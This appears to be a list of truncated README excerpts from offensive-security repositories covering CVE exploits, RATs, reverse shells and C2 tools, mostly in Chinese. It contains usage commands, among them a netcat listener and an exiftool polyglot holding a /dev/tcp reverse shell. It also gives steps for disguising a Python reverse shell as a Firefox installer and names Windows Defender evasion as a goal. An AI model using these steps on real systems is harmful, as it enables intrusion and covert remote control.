CVE-2015-1578

CVE-2015-1578 Achat 0.150 beta7 - 远程缓冲区溢出，为 PNPT 课程重写为 python3 版本。 原作者：KAhara MAnhara 重写者：Giuseppe Aloisi（python3 版本） Achat 0.150 beta7 - 缓冲区溢出 已在 Windows 7 32 位系统上测试 https://www.exploit-db.com/exploits/36025 给脚本几秒钟时间，它会给你一个反向 shell... 在代码中运行 msfvenom 命令 msfvenom -a x86 --platform Windows...

Windows-X64-RAT

Windows x64 远程访问木马 RAT 目标 利用 CVE-2023-38831（WinRAR 6.23）和 Shellcode 利用技术开发 Windows x64 RAT，以绕过 Windows Defender。 系统说明 1. Shellcode 初始化 使用 Windows/x64 - PIC Null-Free TCP 反向连接 Shellcode 生成 Shellcode。 2. main.cpp 说明 在内存中注入并执行 Shellcode，建立反向 TCP 连接。 3. 编译并加密 main.cpp 将 C++ 文件编译为可执行文件并进行加密。 4. 利用...

CVE-2022-24834

CVE-2022-24834 公开利用程序的改进 作者 Conviso Research Team 描述 Ricerca Security @RicercaSec 团队发现并成功利用了一个 Redis 所包含的 Lua 解释器中的有趣漏洞 CVE-2022-24834。该漏洞是 cjson 库中的堆溢出漏洞，详细的分析可参见此处。 我们注意到一些硬编码的偏移量 2 3，这可能会给希望测试该漏洞的人带来不便，因此我们决定将其移除。主要目标是使其更通用，并学习一些 Lua 内部机制。 我们进行的修改 我们使用了一个巨大的字符串，以便更轻松地读取任意内存地址； 我们使用了 Lua 协程来泄露栈...

CVE-2015-6967

CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php 将 phprevshell.php 第 7 行的 $ip 更改 nc -lvnp 1234...

CVE-2023-24610

CVE-2023-24610 这是针对 CVE-2023-24610 的概念验证 首先，我们使用 exiftool 创建一个多语言文件： exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php 我们将文件改为 png 格式，以通过前端检查 之后，我们在 8888 端口启动一个 nc 监听器来接收 shell。 下一步是登录应用程序并点击设置 在页面底部，我们看到一个练习标志区域。我们可以通过右侧的编辑按钮上传文件 点击编辑，然后点击浏览，选择我们在第一步创建的“.png”文件 在上传之前，确保我们用...

CVE-2021-22204-exiftool

CVE-2021-22204-exiftool 用于 Exiftool 中 CVE-2021-22204 漏洞的 Python 利用程序。 关于漏洞 CVE-2021-22204 由 William Bowling @wcbowling 发现并报告。 此利用程序通过研究 CVE 报告后的 exiftool 补丁制作而成。 前置条件 已安装 exiftool 和 djvulibre 工具。如果你使用 Debian 或 Ubuntu，可以通过以下命令安装： sudo apt install djvulibre-bin exiftool 如何运行： 修改 exploit.py 文件中的 IP...

CVE-2024-7808

CVE-2024-7808 💀 $$\colorred 此 \space 漏洞利用 \space 可能 \space 违反 \space 该 \space 法律.$$ $$\colorred\space 你 \space 应该 \space 为 \space 你的 \space 行为 \space 负责.$$ $$\colorred仅 \space 演示 \space 目的.$$ 描述 open-webui 中非管理员用户通过 CSRF 实现 RCE ，该漏洞允许攻击者发送包含内置 JavaScript 的恶意 HTML 文档，该 JavaScript 将上传并执行包含反弹 shell...

CVE-2023-41425-RCE-WonderCMS-4.3.2

🚨 WonderCMS RCE 漏洞利用工具（CVE-2023-41425） 这款基于 Python 的进攻性安全工具可自动化利用 WonderCMS 4.3.2 中的远程代码执行（RCE）漏洞，具体为 CVE-2023-41425 。它简化了构造恶意 ZIP 主题模块、投递基于 JavaScript 的 XSS 载荷 以劫持管理员会话并部署 PHP 反弹 Shell 的整个过程。 ⚠️ 仅供教育和授权安全测试使用。 📚 目录 ⚙️ 功能 📥 安装与要求 🚀 使用示例 🧾 参数参考 🧠 详细工作流程 🔐 安全说明 📝 许可证与署名 ⚙️ 功能 生成一个内嵌 PHP 反弹 Shell 的武器化...

CVE-2018-2893

本软件仅限用于学习交流禁止用于任何非法行为 起这个名字主要目的是蹭一下2893的热度，反弹shell生成器 主要作用是生成自己的外网nc监听对象，希望可以帮助到一些代码小白，2893 2628不适用需要借助第三方服务端口生成远程服务 github搬运工...

Corsair---DLL-Planting-CVE-2023-38822

Corsair —— DLL 种植漏洞 CVE-2023-38822 Corsair iCUE v.5.3.102 中的 DLL 种植漏洞（CVE-2023-38822） 发现者：Idan Malihi 描述 Corsair iCUE v.5.3.102 中的一个问题允许本地攻击者通过 MPDC.dll、CRYPTSP.dll、dcomp.dll、profapi.dll 和 MSASN1.dll 组件执行任意代码。 复现步骤 要利用 DLL 种植漏洞，攻击者应执行以下步骤： 1. 下载 iCUE 的最新版本。 2. 安装 iCUE 产品。 3. 打开安装路径文件夹，例如 C:\Progr...

Reverse_DNS_Shell

DNShell v1.7 描述： 一个使用DNS作为C2信道的Python反向Shell。 需要： dnslib dnspython pycrypto 注意事项： 不要忘记更改你的HOST 不要忘记更改你的SECRET key 先运行服务器 更多信息： http://lockboxx.blogspot.com/2015/01/python-reverse-dns-shell.html...

emp3r0r

emp3r0r A self-healing, memory-only C2 for Linux and Windows — agents that survive broken links, never touch disk, and script their way through the Win32 API. What is emp3r0r? emp3r0r is a post-exploitation framework and C2 built for Linux and Windows environments where stealth and resilience...

CVE-2021-25646-exp

CVE-2021-25646-exp Apache druid CVE-2021-25646 远程代码执行漏洞检测、利用工具 输入域名或者ip:端口，可以进行漏洞检测 对检测到漏洞的目标可以进行命令执行利用 支持单个目标 支持从文档中按行读取多个目标 （靶场演示） 漏洞检测 漏洞利用，执行 id 命令 反弹shell 反弹shell命令使用双引号括起来，不然会报错 少许卡顿之后，成功反弹shell...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.x未授权RCE批量检测脚本 这漏洞挺鸡肋的，随便找了200多个，就5个存在这个洞 接下来自行解决，php都有了，还不会反弹shell？...

CVE-2022-39952

CVE-2022-39952 影响 Fortinet FortiNAC 的 CVE-2022-39952 漏洞利用 PoC 该漏洞利用的默认配置会写入一个 cron 作业以创建反弹 shell。请务必根据您的环境修改 payload 文件。 技术分析 关于漏洞的技术根本原因分析及入侵指标，请参阅我们的博客： https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs 摘要 该 PoC 利用 keyUpload.jsp 端点实现任意文件写入。 使用方法 root@kali:/CVE-2022-399...

EXP_CVE-2018-19518

CVE-2018-19518 免责声明 本程序应仅用于授权的安全测试与研究目的，请使用者遵照网络安全法合理使用。 使用者使用该工具出现任何非法攻击等违法行为，与作者无关。 使用 python CVE-2018-19518.py 目标ip 目标port shell-ip shell-port...

HTTP-Shell

HTTP-Shell HTTP-Shell はマルチプラットフォーム対応のリバースシェルです。このツールは、HTTP経由のリバース接続上でシェルライクなインターフェースを取得するのに役立ちます。他のリバースシェルとは異なり、このツールの主な目的は、Microsoft Dev Tunnelsと組み合わせて使用し、正規の接続に可能な限り近い接続を実現することです。...

XeytanWxCpp-RAT

警告 本项目仍处于早期开发阶段。 目前，应用程序的界面看起来很糟糕，而且有一个奇怪的 Bug（即下方的第一个 TODO 项，见下文）， 需要尽快修复。 简介 使用 wxWidgets 框架、以 C++ 编写的 RAT 应用程序。 功能特性 获取客户端的系统信息。 进程列表 反弹 Shell 浏览文件系统 TODO 有一个奇怪的 Bug，我不知道如何修复。单步调试时它不会触发，但如果 我直接启动应用程序它就会触发，这是典型的竞态条件（race condition）Bug 特征，但我不知道 如何修复，该 Bug 可以通过...

DarkFox

DarkFox 使用 WinRar 创建的远程访问木马，包含安装程序（如 Firefox）和嵌入的 Python 反向 Shell。 编辑 client.py 文件，设置监听攻击服务器的 IP 和端口，以及攻击机器上任何代理的 IP 和端口。如果没有代理，请注释掉相应的部分。 将 client.py 转换为 exe，我使用了 pyinstaller：pyinstaller -w -i "Firefox.ico" -F client.py。-w 选项允许创建无窗口 .exe，-F 选项允许只生成一个文件。 使用 WinRAR 创建自解压 ZIP，选择三个文件：一个无害的安装程序（例如...

CVE-2024-21762_FortiNet_PoC

CVE-2024-21762FortiNetPoC 针对 FortiOS SSL VPN 的 /remote/hostcheckvalidate 端点中 CVE-2024-21762 的概念验证扫描器，支持反向 shell 载荷投递。 以下是为你的项目编写的 GitHub 风格文案 ，包含简洁明了的摘要、使用指南以及该工具与 CVE 关联的背景说明。 🔥 项目标题：CVE-2024-21762 FortiOS HostCheck PoC 扫描器 🧠 摘要（用于 GitHub 描述行）： 针对 FortiOS SSL VPN 的 /remote/hostcheckvalidate 端点中...